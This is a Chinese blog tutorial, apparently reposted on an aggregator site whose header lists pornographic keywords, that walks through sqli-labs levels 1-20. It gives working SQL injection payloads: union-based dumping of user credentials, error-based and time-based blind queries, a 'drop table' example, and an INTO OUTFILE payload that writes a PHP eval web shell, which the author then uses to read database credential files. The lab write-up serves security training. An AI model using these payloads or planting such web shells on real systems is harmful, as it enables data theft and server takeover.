日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

SQL注入学习——sqli-labs闯关(Basic Challenges)

發(fā)布時(shí)間:2024/9/30 数据库 41 豆豆
生活随笔 收集整理的這篇文章主要介紹了 SQL注入学习——sqli-labs闯关(Basic Challenges) 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

文章目錄

      • 前言
      • 一、漏洞介紹
        • 1、什么是SQL注入?
        • 2、SQL注入原理:
        • 3、注入漏洞分類:
      • 二、靶場練習(xí)
        • 基礎(chǔ)知識(shí):
        • Less1 基于錯(cuò)誤的GET單引號(hào)字符型注入
        • Less2 基于錯(cuò)誤的GET數(shù)字型注入
        • Less3 基于錯(cuò)誤的GET單引號(hào)變形注入
        • Less4 基于錯(cuò)誤的GET雙引號(hào)注入
        • 盲注介紹:
        • Less5 基于報(bào)錯(cuò)的GET單引號(hào)盲注
        • Less6 基于報(bào)錯(cuò)的GET雙引號(hào)盲注
        • Less7 導(dǎo)出文件GET字符型注入
        • Less8 布爾型GET單引號(hào)盲注
        • Less9 基于時(shí)間的GET單引號(hào)盲注
        • Less10 基于時(shí)間的GET雙引號(hào)盲注
        • Less11 基于錯(cuò)誤的POST單引號(hào)注入
        • Less12 基于錯(cuò)誤的POST雙引號(hào)變形注入
        • Less13 基于報(bào)錯(cuò)的POST單引號(hào)變形盲注
        • Less14 基于報(bào)錯(cuò)的POST雙引號(hào)盲注
        • Less15 基于時(shí)間的單引號(hào)POST盲注
        • Less16 基于時(shí)間的雙引號(hào)POST盲注
        • Less17 基于錯(cuò)誤的更新查詢POST注入
        • Less18 基于錯(cuò)誤的用戶代理,頭部POST注入
        • Less19 基于頭部的Referer POST報(bào)錯(cuò)注入
        • Less20 基于錯(cuò)誤的cookie頭部POST注入

前言

今天開始學(xué)習(xí) SQL 注入的相關(guān)知識(shí),通過 sqli-labs 靶場來練習(xí)。靶場地址

一、漏洞介紹

1、什么是SQL注入?

SQL注入(SQL Injection)是一種常見的 Web 安全漏洞,攻擊者通過構(gòu)造SQL語句與后臺(tái)數(shù)據(jù)庫進(jìn)行交互,達(dá)到獲取或修改一些敏感數(shù)據(jù),或者利用潛在的數(shù)據(jù)庫漏洞進(jìn)行攻擊的目的。

2、SQL注入原理:

SQL注入是發(fā)生于 Web 應(yīng)用與數(shù)據(jù)庫層的安全漏洞,漏洞的本質(zhì)是代碼和數(shù)據(jù)未分離,通過在用戶可控參數(shù)中注入SQL語句,若程序未對輸入的指令進(jìn)行合法性判斷,注入進(jìn)去的惡意指令就會(huì)被數(shù)據(jù)庫服務(wù)器誤認(rèn)為是正常的SQL指令而運(yùn)行,達(dá)到編寫程序時(shí)意料之外結(jié)果的攻擊行為。

例:

下圖是一個(gè)正常的登錄表單,輸入正確的賬號(hào)和密碼后,程序會(huì)查詢數(shù)據(jù)庫,如果存在此用戶并且密碼正確,將會(huì)成功登錄;如果用戶不存在或者密碼不正確,則會(huì)提示賬號(hào)或者密碼錯(cuò)誤。

接下來使用一個(gè)比較特殊的用戶 1' or 1=1# 登錄,輸入用戶名:1’ or 1=1#,密碼可以隨意填寫或者不寫,點(diǎn)擊“登錄”按鈕后,發(fā)現(xiàn)是可以正常登錄的。

為什么密碼隨意輸入都可以進(jìn)入后臺(tái)呢?數(shù)據(jù)庫里并沒有 1’ or 1=1# 這個(gè)用戶,難道是程序出錯(cuò)了嗎?

通過分析SQL語句,發(fā)現(xiàn)最終執(zhí)行的SQL語句為:

select * from user where username='$name' and password='$pass';

當(dāng)輸入這個(gè)特殊用戶 1’ or 1=1# 時(shí),最終執(zhí)行的SQL語句為:

select * from user where username='1' or 1=1# and password=''

此時(shí)的#后面的 password 根本起不了任何作用,因?yàn)樗呀?jīng)被注釋了,而且 username='1' or 1=1這條語句永遠(yuǎn)為真,那么最終執(zhí)行的SQL語句相當(dāng)于:

select * from user //查詢user表所有的數(shù)據(jù)條數(shù)

很顯然,返回條數(shù)大于0,所以可以順利通過驗(yàn)證,登錄成功。這就是一次最簡單的SQL注入過程。雖然過程很簡單,但其危害卻很大,比如,在用戶名位置處輸入以下SQL語句:

1'or 1=1;drop table user#

因?yàn)?SQL Server 支持多語句執(zhí)行,所以這里可以直接刪除 user 表。

由此可得知,SQL注入漏洞的形成原因就是:用戶輸入的數(shù)據(jù)被SQL解釋器執(zhí)行。

3、注入漏洞分類:

在測試注入漏洞之前,首先要弄清楚一個(gè)概念:注入的分類,明白了分類之后,再測試注入將起到事半功倍的效果。

常見的SQL注入類型包括:數(shù)字型字符型。也有人把類型分得更多、更細(xì)。但不管注入類型如何,攻擊者的目的只有一點(diǎn),那就是繞過程序限制,使用戶輸入的數(shù)據(jù)帶入數(shù)據(jù)庫執(zhí)行,利用數(shù)據(jù)庫的特殊性獲取更多的信息或者更大的權(quán)限。

1、數(shù)字型注入

當(dāng)輸入的參數(shù)為整型時(shí),如:ID、年齡、頁碼等,如果存在注入漏洞,則可以認(rèn)為是數(shù)字型注入,數(shù)字型注入是最簡單的一種。假設(shè)有URL http://www.xxx.com/test.php?id=3,可以猜測SQL語句為:

select * from table where id=3

測試步驟如下:

1、加單引號(hào),URL:http://www.xxx.com/test.php?id=3’

對應(yīng)的SQL:select * from table where id=3' 這時(shí)SQL語句出錯(cuò),程序無法正常從數(shù)據(jù)庫中查詢出數(shù)據(jù),就會(huì)拋出異常。

2、加and 1=1 ,URL:http://www.xxx.com/test.php?id=3 and 1=1

對應(yīng)的SQL:select * from table where id=3 and 1=1 語句執(zhí)行正常,返回?cái)?shù)據(jù)與原始請求無任何差異。

3、加and 1=2,URL:http://www.xxx.com/test.php?id=3 and 1=2

對應(yīng)的SQL:select * from table where id=3 and 1=2 語句執(zhí)行正常,但卻無法查詢出數(shù)據(jù),因?yàn)閍nd 1=2始終為假。所以返回?cái)?shù)據(jù)與原始請求有差異。

如果以上三個(gè)步驟全部滿足,則程序就可能存在數(shù)字型SQL注入。

2、字符型注入

當(dāng)輸入的參數(shù)為字符串時(shí),稱為字符型。數(shù)字型與字符型注入的最大區(qū)別在于:數(shù)字型不需要單引號(hào)來閉合,而字符串類型一般要使用單引號(hào)來閉合的。

  • 數(shù)字型語句:select * from table where id =3

  • 字符型語句:select * from table where username ='admin'

字符型注入最關(guān)鍵的是如何閉合SQL語句以及注釋多余的代碼。

當(dāng)查詢內(nèi)容為字符串時(shí) select * from table where username ='admin'

測試步驟:

1、加單引號(hào):select * from table where username ='admin'',由于加單引號(hào)后變成三個(gè)單引號(hào),無法執(zhí)行,程序會(huì)報(bào)錯(cuò)。

2、加and 1=1(或者1=2) 此時(shí)SQL語句為:select * from table where username='admin and 1=1' ,也無法進(jìn)行注入,因?yàn)閍dmin and 1=1會(huì)被數(shù)據(jù)庫當(dāng)作查詢的字符串。這時(shí)想要進(jìn)行注入,則必須注意字符串閉合問題。

3、加'and 1=1--+(and 前面的單引號(hào)閉合'admin',--注釋后面的單引號(hào) )就可以繼續(xù)注入,SQL語句如下:

select * from table where username ='admin' and 1=1--+'

當(dāng)輸入'and 1=2--+ 時(shí),就和上面數(shù)字型同理,語句執(zhí)行正常,但卻無法查詢出數(shù)據(jù)。

總結(jié):數(shù)字型注入不需要閉合單引號(hào)以及注釋;字符型注入必須閉合單引號(hào)以及注釋多余的代碼。

補(bǔ)充:

Mysql常用注釋符:

  • --:注意,這種注釋符后邊有一個(gè)空格,通常寫為--+,+會(huì)在傳遞中變成空格
  • #:通過#進(jìn)行注釋,URL編碼為%23

3、其它分類

總的來說,SQL注入只分為 “數(shù)字型” 與 “字符型”,因?yàn)閷?shù)據(jù)庫進(jìn)行數(shù)據(jù)查詢時(shí),輸入數(shù)據(jù)一般只有兩種:一個(gè)是數(shù)字類型,比如 where id=1、where age > 20,另外是一個(gè)字符串類型,比如 where name=‘root’、where datetime > ‘2013-08-18’。

可能不同的數(shù)據(jù)庫語法上存在差異,但帶入數(shù)據(jù)庫查詢時(shí)一定是數(shù)字或字符串。所以無論是POST注入,還是其類型注入,都可歸納為數(shù)字型注入或者字符型注入。

那么Cookie注入、POST注入等是怎么回事呢?其實(shí)這類注入主要通過注入的位置來分辨,比如有以下請求:

此時(shí)為POST 請求,但是POST數(shù)據(jù)中的username字段存在注入漏洞,一般都會(huì)直接說POST注入,卻不再考慮username是什么類型的注入,如果此時(shí)的HTTP請求如下:

那么是否又應(yīng)該叫做GET注入呢?

以下是一些常見的注入叫法:

  • POST注入:注入字段在 POST 數(shù)據(jù)中

  • Cookie注入:注入字段在Cookie數(shù)據(jù)中

  • 延時(shí)注入:使用數(shù)據(jù)庫延時(shí)特性注入

  • 搜索注入:注入處為搜索的地點(diǎn)

  • base64注入:注入字符串需要經(jīng)過base64加密

🆗,了解了這些基礎(chǔ)知識(shí)后就開始練習(xí)吧!

二、靶場練習(xí)

基礎(chǔ)知識(shí):

在開始注入之前,還需要知道一些關(guān)于 Mysql 的基礎(chǔ)知識(shí)。

1)系統(tǒng)函數(shù):

  • version()——Mysql版本
  • user()——數(shù)據(jù)庫用戶名
  • database()——數(shù)據(jù)庫名
  • @@datadir——數(shù)據(jù)庫路徑
  • @@basedir——獲取安裝路徑
  • @@version_compile_os——操作系統(tǒng)版本

2)字符串連接函數(shù):

  • concat(str1,str2,…) —— 沒有分隔符地連接字符串
    例:concat_ws('11','22','33') :112233

  • concat_ws(separator,str1,str2,…) —— 含有分隔符地連接字符串,第一個(gè)參數(shù)是其它參數(shù)的分隔符。
    例:concat_ws(':','11','22','33') :11:22:33

  • group_concat(str1,str2,…) —— 使多行數(shù)據(jù)在一行顯示,并以逗號(hào)分開

簡單來說使用這三個(gè)函數(shù)的目的就是:能一次性查出多條信息。

3)常見的閉合符號(hào):

$id'$id'"$id"($id)('$id')("$id")(('$id'))

4)系統(tǒng)數(shù)據(jù)庫 information_schema,存儲(chǔ)著所有的數(shù)據(jù)庫的相關(guān)信息,里面有三張表:

  • information_schema.schemata:包含所有庫 庫名的表
    常用字段:schema_name 數(shù)據(jù)庫名

  • information_schema.tables:包含所有庫 表名的表
    常用字段:table_name 表名;table_schema 數(shù)據(jù)庫名

  • information_schema.columns:包含所有庫 表字段的表
    常用字段:column_name 列名;table_schema 數(shù)據(jù)庫名;table_name 表名

一般的,我們利用該表可以進(jìn)行一次完整的注入,流程如下:

猜數(shù)據(jù)庫

select schema_name from information_schema.schemata

猜某庫的數(shù)據(jù)表

select table_name from information_schema.tables where table_schema=’xxxxx’

猜某表的所有列

select column_name from information_schema.columns where table_schema='xxx' and table_name=’xxxxx’

獲取某列的內(nèi)容

Select *** from ***

好的,正式開始吧!


Less1 基于錯(cuò)誤的GET單引號(hào)字符型注入

先來確定是什么類型的注入,在http://127.0.0.1/sqli-labs/Less-1?id=1后面添加一個(gè)'

發(fā)現(xiàn)報(bào)錯(cuò)了,說明我們添加的單引號(hào)被數(shù)據(jù)庫成功解析,就可能存在注入。接下來輸入?id=1 and 1=2,發(fā)現(xiàn)頁面沒有變化,可以判斷不是數(shù)字型注入。


PS:這里可能會(huì)有疑問,為什么id='1 and 1=2'還可以正常查詢出數(shù)據(jù)?最直接的辦法就是自己測試一下,如圖:

經(jīng)過測試,得出的結(jié)論是:在 select 查詢時(shí),程序會(huì)忽略后面的字符串,只讓id與第一個(gè)字符進(jìn)行對比,如果存在即返回?cái)?shù)據(jù)。


接著輸入'and 1=2 %23后頁面發(fā)生變化,確定為字符型注入,并且閉合符號(hào)為單引號(hào)。

看下源碼:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);

確實(shí)是單引號(hào),確定注入的類型后,我們就可以構(gòu)造相應(yīng)的的SQL語句進(jìn)行攻擊了。

這時(shí)需要用到聯(lián)合查詢的方式來獲取想要的信息,使用聯(lián)合查詢的前提是 union 后面的 select 語句必須和前面查詢的列的數(shù)量、順序、類型相同,否則數(shù)據(jù)庫會(huì)報(bào)錯(cuò),所以需要先查字段數(shù)。

確定字段數(shù)可以使用 order by,即通過排序的方式測出字段數(shù):

從1開始依次測試,當(dāng)按第4列數(shù)據(jù)進(jìn)行排序時(shí)報(bào)錯(cuò)了

http://127.0.0.1/sqli-labs/Less-1/?id=1' order by 4 %23


說明有三個(gè)字段,那么現(xiàn)在開始聯(lián)合查詢:

http://127.0.0.1/sqli-labs/Less-1/?id=1' union select 1,2,3%23

PS:select可以直接加數(shù)字串,不寫后面的表名,它輸出的內(nèi)容就是我們select后的數(shù)字,這時(shí)select實(shí)際上沒有向任何一個(gè)數(shù)據(jù)庫查詢數(shù)據(jù),即查詢命令不指向任何數(shù)據(jù)庫的表。通常用來快速測試顯示位。

先來看下這條SQL語句在數(shù)據(jù)庫的執(zhí)行情況:

程序在展示數(shù)據(jù)的時(shí)候通常只會(huì)取結(jié)果集的第一行,所以我們需要把前面的查詢結(jié)果集變?yōu)榭?#xff0c;這樣才能顯示我們想要的結(jié)果,同時(shí)又需要確定哪幾個(gè)字段會(huì)被顯示在頁面上,這里令id=-1也可以直接在后面添加and 1=2兩種方式都可以。再次測試:

可以看到2,3字段被顯示出來,也就是說我們要在2或3字段上查詢數(shù)據(jù)。🆗,知道了這些之后就可以真正開始SQL注入了!

1、爆數(shù)據(jù)庫

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+


成功得到所有的數(shù)據(jù)庫!

2、查看當(dāng)前數(shù)據(jù)庫

可以看到數(shù)據(jù)庫名為:security,接著再查其他信息。

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,concat_ws(' : ',user(),database(),version())--+


OK,得到這些信息之后我們再來看看數(shù)據(jù)庫有哪些表。

3、爆當(dāng)前數(shù)據(jù)庫的表

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+


可以看到有四張表,我們想要的用戶信息通常在 users表中。

4、爆users列名

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' --+

這里需要注意指定 table_schema 字段,因?yàn)?users 表非常容易出現(xiàn)重復(fù)!

終于看到我們夢寐以求的 password 了!得到字段后接爆用戶數(shù)據(jù)。

5、爆數(shù)據(jù)

http://127.0.0.1/sqli-labs/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from security.users --+

如果只有一個(gè)顯示位可以改為:?id=-1' union select 1,2,group_concat(username,' : ',password) from security.users--+

注意:因 users 表存在重復(fù)問題,最好加上數(shù)據(jù)庫(又是一個(gè)小細(xì)節(jié)!)

也可以單獨(dú)爆一個(gè)用戶:

http://127.0.0.1/sqli-labs/Less-1/?id=-1'union select 1,username,password from security.users where id=2 --+


🆗,第一關(guān)到此圓滿結(jié)束!!

Less2 基于錯(cuò)誤的GET數(shù)字型注入

和上題思路一樣,加單引號(hào)報(bào)錯(cuò),加and 1=2 程序執(zhí)行正常,但卻無法查詢出數(shù)據(jù),那么就確定是數(shù)字型SQL注入了。
看下源碼

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);

確實(shí)是數(shù)字型,🆗,剩下的就和第一關(guān)一樣,可以隨意爆數(shù)據(jù)了。

Less3 基于錯(cuò)誤的GET單引號(hào)變形注入

加單引號(hào),頁面報(bào)錯(cuò)

根據(jù)報(bào)錯(cuò)消息可以推斷出閉合符號(hào)為('$id'),測試 1') --+

程序執(zhí)行正常,然后就可以進(jìn)行注入了。

其余的 payload 與 less1 中一致,只需要 '改為')

Less4 基于錯(cuò)誤的GET雙引號(hào)注入

同樣的思路,先加單引號(hào),然而發(fā)現(xiàn)沒有報(bào)錯(cuò),再用雙引號(hào)測試,發(fā)現(xiàn)報(bào)錯(cuò)了

根據(jù)報(bào)錯(cuò)信息,推斷出閉合符號(hào)應(yīng)該是:("$id"),測試:1") --+
然后就可以注入了,其余同上。


盲注介紹:

何為盲注?盲注就是在 sql 注入過程中,sql 語句執(zhí)行后,查詢的數(shù)據(jù)不能回顯到前端頁面上。此時(shí),我們需要利用一些特殊的方法來得到數(shù)據(jù),這個(gè)過程稱之為盲注。盲注主要分為三類:

  • 基于布爾的 SQL 盲注

  • 基于時(shí)間的 SQL 盲注

  • 基于報(bào)錯(cuò)的 SQL 盲注

因?yàn)檫@塊內(nèi)容較多,具體方法在下面的題目中詳細(xì)講解。


Less5 基于報(bào)錯(cuò)的GET單引號(hào)盲注

輸入?id=1

沒有顯示數(shù)據(jù),這是咋回事?看一下源碼:

if($row){echo '<font size="5" color="#FFFF00">'; echo 'You are in...........';echo "<br>";echo "</font>";}else {echo '<font size="3" color="#FFFF00">';print_r(mysql_error());echo "</br></font>"; echo '<font color= "#0000ff" font size= 3>'; }

可以看到程序并沒有將 $row 這個(gè)查詢結(jié)果輸出,即正確結(jié)果沒有回顯,但是錯(cuò)誤信息還是會(huì)顯示。頁面沒有顯示位,所以無法使用聯(lián)合查詢。

先來確定注入類型,加單引號(hào)報(bào)錯(cuò),加 and 1=2 頁面沒有變化,即非數(shù)字型,加'and 1=2--+后頁面發(fā)生變化,確定為字符型注入,并且閉合符號(hào)為單引號(hào)。

根據(jù)題目名字:雙注入,查了一些大佬的文章之后終于明白了,雙注入即 報(bào)錯(cuò)注入,利用嵌套查詢來實(shí)現(xiàn),形式為:select…(select…),里面的 select 被稱為子查詢,執(zhí)行順序是先執(zhí)行子查詢,然后再執(zhí)行外面的 select。

雙注入主要涉及到了下面幾個(gè)SQL函數(shù):

rand() 隨機(jī)函數(shù),返回0~1之間的一個(gè)值 floor(a) 取整函數(shù),返回小于等于a的一個(gè)整數(shù),沒有四舍五入 count() 聚合函數(shù) group by 分組函數(shù)

詳解請看這篇文章:雙注入詳解

雙注入的原理總的來說就是:當(dāng)一個(gè)聚合函數(shù) count 后面出現(xiàn) group by 分組語句時(shí),會(huì)將查詢的一部分結(jié)果以報(bào)錯(cuò)的形式返回,它有一個(gè)固定的公式。

構(gòu)造sql語句:

Less-5/?id=-1' union select count(*),2,concat('*',(select database()),'*',floor(rand()*2))as a from information_schema.tables group by a--+ //這里我們給查詢的數(shù)據(jù)起了另一個(gè)名:a


OK得到數(shù)據(jù)庫了,然后就可以以同樣地方式得到其他信息。

獲取表名:

?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+


查詢用戶信息:

?id=-1' union select count(*),2,concat('*',(select concat_ws(char(32,44,32),id,username,password) from users limit 1,1),'*',floor(rand()*2))as a from information_schema.tables group by a--+


第五關(guān)結(jié)束。

Less6 基于報(bào)錯(cuò)的GET雙引號(hào)盲注

與上關(guān)是同一類型,這關(guān)使用的是雙引號(hào)閉合,其余過程與前面類似,不再贅述。

Less7 導(dǎo)出文件GET字符型注入

輸入?di=1

還是沒有顯示數(shù)據(jù),接著輸入?id=1'

頁面報(bào)錯(cuò),說明可能存在注入,輸入?id=1 and 1=2

回顯正常,說明不是數(shù)字型注入。

輸入?id=1'--+,顯示報(bào)錯(cuò),繼續(xù)輸入?id=1')--+頁面仍然報(bào)錯(cuò), 多次嘗試1' 1" 1') 1") 1')) 最后發(fā)現(xiàn)是1')),頁面顯示正常了。

查看下源碼:

if($row){echo '<font color= "#FFFF00">'; echo 'You are in.... Use outfile......';echo "<br>";echo "</font>";}else {echo '<font color= "#FFFF00">';echo 'You have an error in your SQL syntax';

看到正常回顯都是 You are in… Use outfile…,報(bào)錯(cuò)信息統(tǒng)一返回 You have an error in your SQL syntax

同時(shí)他也給出了提示:use outfile 也就是說需要使用 outfile 函數(shù):

outfile 函數(shù)的作用就是將數(shù)據(jù)庫的查詢內(nèi)容導(dǎo)出到一個(gè)外部文件

語法:select...into outfile 'file_name'

可以把被選擇的行寫入一個(gè)文件中,前提是要擁有 file 權(quán)限才能使用。file_name 不能是一個(gè)已經(jīng)存在的文件。

現(xiàn)在還不知道數(shù)據(jù)庫的路徑,可以借助前面幾關(guān)來獲取數(shù)據(jù)庫的路徑:@@basedir 獲取安裝路徑

http://localhost/sqli-labs/Less-1/?id=-1‘ union select 1,2,@@basedir --+


這樣我們就可以知道網(wǎng)站應(yīng)該是在C:/phpStudy/WWW/下,嘗試寫入一句話木馬 ,構(gòu)造代碼:

?id=-1')) union select 1,"<?php @eval($_POST['smk']);?>",3 into outfile "C:\\phpStudy\\WWW\\123.php" --+

注意:這里要用雙反斜杠\\,否則建立出來的文件名會(huì)加前綴。


頁面回顯錯(cuò)誤,不過不用管,查看一下文件夾,可以看到文件已將寫入目錄下了,打開菜刀,右鍵添加 http://127.0.0.1/123.php 地址填入你上傳文件的地址,后面的小方框中填入你構(gòu)造的密碼,也就是smk

連接成功,然后就可以為所欲為了,嘿嘿嘿。

真實(shí)場景中目的主要是獲得數(shù)據(jù)庫管理員信息,先找到 index.php 文件,尋找其中sql連接語句。

順藤摸瓜,找到 sql-connect.php 文件

打開 db-creds.inc

就可以獲得數(shù)據(jù)庫管理員信息了!

Less8 布爾型GET單引號(hào)盲注

這關(guān)內(nèi)容稍多,所以單獨(dú)拿出來了,詳情請看這篇文章:文章鏈接

同時(shí)這關(guān)也可以使用導(dǎo)出文件,菜刀連接的方法做,步驟和上題一樣,這里給出payload:

?id=1' union select 1,"<?php @eval($_POST['smk']);?>",3 into outfile "C:\\phpStudy\\WWW\\123.php" --+

Less9 基于時(shí)間的GET單引號(hào)盲注

這關(guān)內(nèi)容也很多,本關(guān)鏈接

Less10 基于時(shí)間的GET雙引號(hào)盲注

與上關(guān)是同一類型,這關(guān)使用的是雙引號(hào)閉合,其余過程與前面類似,不再贅述。

Less11 基于錯(cuò)誤的POST單引號(hào)注入

從這一關(guān)開始,我們就進(jìn)入到 post 注入的世界了。

先在 username 輸入admin',password 空著,返回錯(cuò)誤信息:

從錯(cuò)誤信息可知在 username 處應(yīng)該有注入點(diǎn),并且可能為單引號(hào)閉合類型。

嘗試萬能語句admin' or 1=1#

發(fā)現(xiàn)登陸成功,而且用戶默認(rèn)為 dumb,確定為單引號(hào)閉合的字符型注入。

老樣子,order by 確定列數(shù),測得為2:

接著就開始爆破數(shù)據(jù)庫、表名、列名。

1、數(shù)據(jù)庫名:

在 username 欄輸入:

1' union select 1,database()#

注意:post類型要用 # ,--+不能用

密碼隨便填

得到數(shù)據(jù)庫名。

2、表名:

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#


3、列名:

1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'#

4、爆破用戶名、密碼

1' union select group_concat(username),group_concat(password) from security.users#

Less12 基于錯(cuò)誤的POST雙引號(hào)變形注入

先嘗試 admin',頁面無變化,應(yīng)該不是單引號(hào)字符注入。嘗試 admin",發(fā)現(xiàn)報(bào)錯(cuò)了。

從報(bào)錯(cuò)信息可知閉合方式為(""),再測試代碼 admin") or 1=1#,密碼隨便,登錄成功:

接下來就是爆數(shù)據(jù)庫名、表名、列名、用戶名以及密碼,和第十一關(guān)一樣,在此不再贅述。

Less13 基于報(bào)錯(cuò)的POST單引號(hào)變形盲注

Less14 基于報(bào)錯(cuò)的POST雙引號(hào)盲注

和上關(guān)類似,這關(guān)使用的是雙引號(hào)閉合,只需修改為admin"即可。

Less15 基于時(shí)間的單引號(hào)POST盲注

嘗試admin'、admin"、),發(fā)現(xiàn)沒有回顯報(bào)錯(cuò)信息,頁面也沒有任何變化,那么 bool 盲注就無法使用,那就只能說明可能為時(shí)間盲注。

多次測試,當(dāng)輸入下面代碼時(shí)

admin' and sleep(5)#

時(shí)間延遲了5秒,確定閉合符號(hào)為單引號(hào):

注意:這里不能使用1' and sleep(5)#,因?yàn)榍懊娴腉ET型中我們知道?id=1這個(gè)條件本來就是true,而我們測試POST型的 username 為1,這個(gè)條件本身為 false,因?yàn)閿?shù)據(jù)庫沒有這個(gè)用戶,邏輯符是and:一假則假,所以不能使用。這里是知道存在用戶 admin 直接用了。

如果不知道用戶名可以使用萬能語句進(jìn)行測試,當(dāng)輸入1' or 1=1#時(shí),登陸成功,頁面變化了,說明閉合符號(hào)就是單引號(hào)。

測試數(shù)據(jù)庫名:

admin' and if(substr((select database()),1,1)='s',sleep(5),1)#

頁面經(jīng)過5s后響應(yīng),得到數(shù)據(jù)庫第一位,接下來按部就班進(jìn)行爆破,與前面 less9 類似,在此不再贅述。

Less16 基于時(shí)間的雙引號(hào)POST盲注

和上關(guān)一樣,區(qū)別是這關(guān)使用的雙引號(hào)閉合,只需修改為admin"即可。

admin" and if(substr((select database()),1,1)='s',sleep(5),1)#

Less17 基于錯(cuò)誤的更新查詢POST注入

Less18 基于錯(cuò)誤的用戶代理,頭部POST注入

Less19 基于頭部的Referer POST報(bào)錯(cuò)注入

Less20 基于錯(cuò)誤的cookie頭部POST注入

總結(jié)

以上是生活随笔為你收集整理的SQL注入学习——sqli-labs闯关(Basic Challenges)的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。